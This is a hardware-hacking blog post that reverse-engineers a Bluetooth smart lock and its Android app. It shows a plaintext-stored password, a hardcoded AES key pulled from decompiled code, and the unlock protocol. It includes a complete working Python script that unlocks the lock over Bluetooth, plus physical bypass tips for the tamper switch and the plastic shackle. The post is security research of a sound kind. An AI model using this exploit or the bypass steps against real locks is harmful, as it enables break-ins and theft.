Breaking a smart lock

For this post we will be playing with the following:

Once it arrived the first thing to do was to download the app (playstore link) connect the device, lock and unlock it a few times. It was fairly trivial and uneventful! – Worked as advertised.

So wheres the password stored, most likely going to be a sqlite file or shared_preferences.xml

root@E5823:/data/data/com.flsmart.app.lockplus/shared_prefs # ls
BleSharedPreferences.xml
WebViewChromiumPrefs.xml
com.flsmart.app.lockplus.BETA_VALUES.xml
crashrecord.xml
# cat BleSharedPreferences.xml                                                   <
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="shared_SaveBle">{&quot;BaseList&quot;:[{&quot;Address&quot;:&quot;90:9A:77:03:D3:7A&quot;,
&quot;Name&quot;:&quot;Smartlock&quot;,
&quot;PassWord&quot;:&quot;123456&quot;,
&quot;inform&quot;:false,
&quot;rssi&quot;:-70}]}</string>
</map>

Well look at that, the password of “123456” in plaintext. The Application Data can be Backed up [android:allowBackup=true]. So you can pull this via adb without root! \o/

Right, lets check the code, nice of the devs to not obfuscate it.
BleCommon.java contains:

static {
        mToKen = new byte[]{6, 1, 6};
        mUnlock = new byte[]{5, 1, 1, 1};
        mlock = new byte[]{5, 7, 1, 1};
        mAutoUnlockOpen = new byte[]{5, 39, 1, 0};
        mAutoUnlockClose = new byte[]{5, 39, 1, 1};
        mVibrationOpen = new byte[]{5, 42, 1, 0};
        mVibrationClose = new byte[]{5, 42, 1, 1};
        mConsignmentOpen = new byte[]{5, 48, 1, 0};
        mConsignmentClose = new byte[]{5, 48, 1, 1};
        mOldPW = new byte[]{5, 3, 6};
        mNewPW = new byte[]{5, 4, 6};
        mNAME1 = new byte[]{5, 45, 8};
        mNAME2 = new byte[]{5, 46, 8};
        defaultkey = new byte[]{32, 87, 47, 82, 54, 75, 63, 71, 48, 80, 65, 88, 17, 99, 45, 43};
    }

The things to note are mToken = 616, mUnlock = 5111 and the defaultkey which is used to encrypt and decrypt the bluetooth communications! using “AES/ECB/NoPadding”
The lock isn’t paired to the device by a PIN so all communication with it can be intercepted and with this key decrypted.

With this information it’s time to start playing with the bluetooth. First up, what can we find with bleah:

So theres not a whole lot there to play with, but it would be safe to assume that data is sent to it on service “36f5” and received from “36f6”.

I tried both gattacker and mirage, neither of which worked to MITM between the phone and the smart lock, that was a day wasted! So I decided to check logcat since there were loads of “log.e()” and “log.i()” functions throughout the code.

10-23 23:32:28.850 27222 27240 I BleCommon: 发送数据(未加密)=06 01 06 31 32 33 34 35 36 4A A6 3D 52 0E 7A 81 
10-23 23:32:28.862 27222 27240 I BleCommon: 发送数据(加密)=22 FA 54 99 59 BD B8 39 3B B9 B3 79 DB CB 4E 68 
10-23 23:32:28.862 27222 27222 E BleItem : LostWriteData
10-23 23:32:28.864 27222 27222 I BleItem : true-data=22 FA 54 99 59 BD B8 39 3B B9 B3 79 DB CB 4E 68 
10-23 23:32:28.950 27222 27259 I ReadBle : 加密数据=A1 1D 63 4C C5 9B 86 92 01 FE 16 49 7F 79 BD 67 
10-23 23:32:28.952 27222 27259 I ReadBle : 解密数据=06 02 08 4C 0E B0 B7
10-23 23:32:30.899 27222 27259 I ReadBle : 加密数据=D5 BC 93 56 35 81 0D FF 7E AB F9 B1 89 B5 F8 1E 
10-23 23:32:30.901 27222 27259 I ReadBle : 解密数据=02 02 01 64 F0 16 33 1F AC BB A3 64 3A 34 F8 52 

Which didn’t mean much to me at the time but translates to “Send data (unencrypted)” and “Send data (encryption) ” – seems useful!
This did however give me the idea to simply frida the BLE communication in the app, effectively MITM it, just in a different location!
Once that was all coded and ran it looked as follows:

Now this is useful, finally getting somewhere. The first thing sent to the device contains “313233343536” that looks a lot like the password. And before it is “060106” a lot like previously discovered “mToken”. so whats he stuff after it? digging through the code I discover:

 public static byte[] addCrcAndEnd(ByteArrayOutputStream arrby) {
        byte[] arrby2 = new byte[16 - arrby.size()];
        new Random().nextBytes(arrby2);
        arrby.write(arrby2, 0, arrby2.length);
        Log.i((String)TAG, (String)("\u53d1\u9001\u6570\u636e(\u672a\u52a0\u5bc6)=" + BleTool.ByteToString(arrby.toByteArray())));
        arrby = BleCommon.Encrypt(arrby.toByteArray());
        Log.i((String)TAG, (String)("\u53d1\u9001\u6570\u636e(\u52a0\u5bc6)=" + BleTool.ByteToString(arrby)));
        return arrby;
    }

I initially thought it was some kind of checksum to ensure the packet hadn’t been tampered with, alas, no. It simply pads out the data from “Random()” so the data is a multiple of 16 bytes long allowing the AES encryption to work.

After all this and by inspecting the traffic we can conclude that the data structure is:
AES( [ todo ][ data ][ filler ] )
So to unlock the lock the following would happen:

1) send: [ 616 ][ 6 digit password ][ filler ]
e.g. 060106 313233343536 3e18261ccb9bac

2) response that starts with: 060208 followed by 4 byte “token” + filler
e.g. 060208 aa2d3728 010100073690916ec9

3) send [ 5111 ][ token ][ filler ] to unlock or [ 5711 ][ token ][ filler ] to lock
e.g. 05010101 aa2d3728 413927c350e0a1b3 (unlock)

With the above information we can automate this as demonstrated in the following video:

Here is the script to recreate this:

#! /usr/bin/python
import binascii
import codecs
import time
import bluepy.btle as btle
from struct import unpack
from Crypto.Cipher import AES

global key
global token
global p
key_bytes = [32, 87, 47, 82, 54, 75, 63, 71, 48, 80, 65, 88, 17, 99, 45, 43]
key =  "".join(map(chr, key_bytes))

def encrypt(data):
    global key
    data = binascii.unhexlify(data)
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(data)

def decrypt(data):
    global key
    ciphertext = binascii.unhexlify(data)
    decipher = AES.new(key, AES.MODE_ECB)
    msg_decrypted = decipher.decrypt(ciphertext)
    return msg_decrypted.encode("hex")

# handle noificaions
class MyDelegate(btle.DefaultDelegate):
    global token
    global p
    def __init__(self):
        btle.DefaultDelegate.__init__(self)

    def handleNotification(self, cHandle, data):
        # print "Recieved: " + data.encode("hex")
        decoded = decrypt(data.encode("hex"))
        # print "Decoded: "+decoded
        todo = decoded[:6]
        # print "ToDo: "+todo
        if todo == "060208": # got token notification
            iterator = 1
            token = decoded[6:14]
            print "[+] got token: "+token
            code = "05010101"+token
            code += "0"*(32-len(code))
            #print "Unencrypted to send: "+code
            code_enc = encrypt(code)
            #print "Encrypted blob: " + code_enc.encode("hex")
            print "[!] sending unlock code"
            p.writeCharacteristic( 0x0025, code_enc, withResponse=True ) # send unlock code

# Start
p = btle.Peripheral( "90:9A:77:03:D3:7A" )
p.setDelegate( MyDelegate() )

# enable notification
setup_data = b"\x01\x00"
notify = p.getCharacteristics(uuid='000036f6-0000-1000-8000-00805f9b34fb')[0]
notify_handle = notify.getHandle() + 1
p.writeCharacteristic(notify_handle, setup_data, withResponse=True)

# start connection
print "[+] connecting"
todo = "060106"
pin = 123456 # sniff out of air, pull from device, brute-force - your call (123456 = default)
pin_str = binascii.hexlify(str(pin))
code = todo+pin_str
code += "0"*(32-len(code))

enc_connect = encrypt(code)
#print "Encrypted: "+enc_connect.encode("hex")
p.writeCharacteristic( 0x0025, enc_connect)

# waiing for noifications
while True:
    try:
        if p.waitForNotifications(1):
            # handleNotification() was called
            continue
    except btle.BTLEDisconnectError:
        pass

So I would consider both the app and the BLE communication owned, on to the hardware. There is no keyway, seemingly the only way to unlock the device is via the bluetooth.

2 screws hold the battery cover on. 6 around he outside and 1 under the top right spring remove the back of the case:

The switch at the bottom is held down by the bottom screw on he battery cover, if that screw is removed an alarm goes off, there is however some leeway, you can unscrew he bottom screw a little and get a saw blade under the cover to saw he screw head off bypassing this protection.

The red shackle that holds the chain in can’t be moved when it is locked due to the motor holding a piece of plastic in place, this rotates out of he way when unlocked. However he red shackle is made of plastic, with enough force this will snap and the chain pop out.

I’m sure some people will want to know the only visible chip on he PCB is a CC2541 (which is a Texas Instruments 2.4-GHz Bluetooth SoC‎)

I hope you have enjoyed this post, possibly learnt something. If you know of any affordable devices that would be fun to hack feel free to send me a link.

Sharing is caring!

One thought on “Breaking a smart lock

  1. Pingback: Bug Bytes #43 – Abusing HTTP hop-by-hop request headers, The Bug Bounty Podcast by @stokfredrik & Live Bug Bounty Recon Session on Verizon Media’s Yahoo.com W/ @Securinti – INTIGRITI

Leave a Reply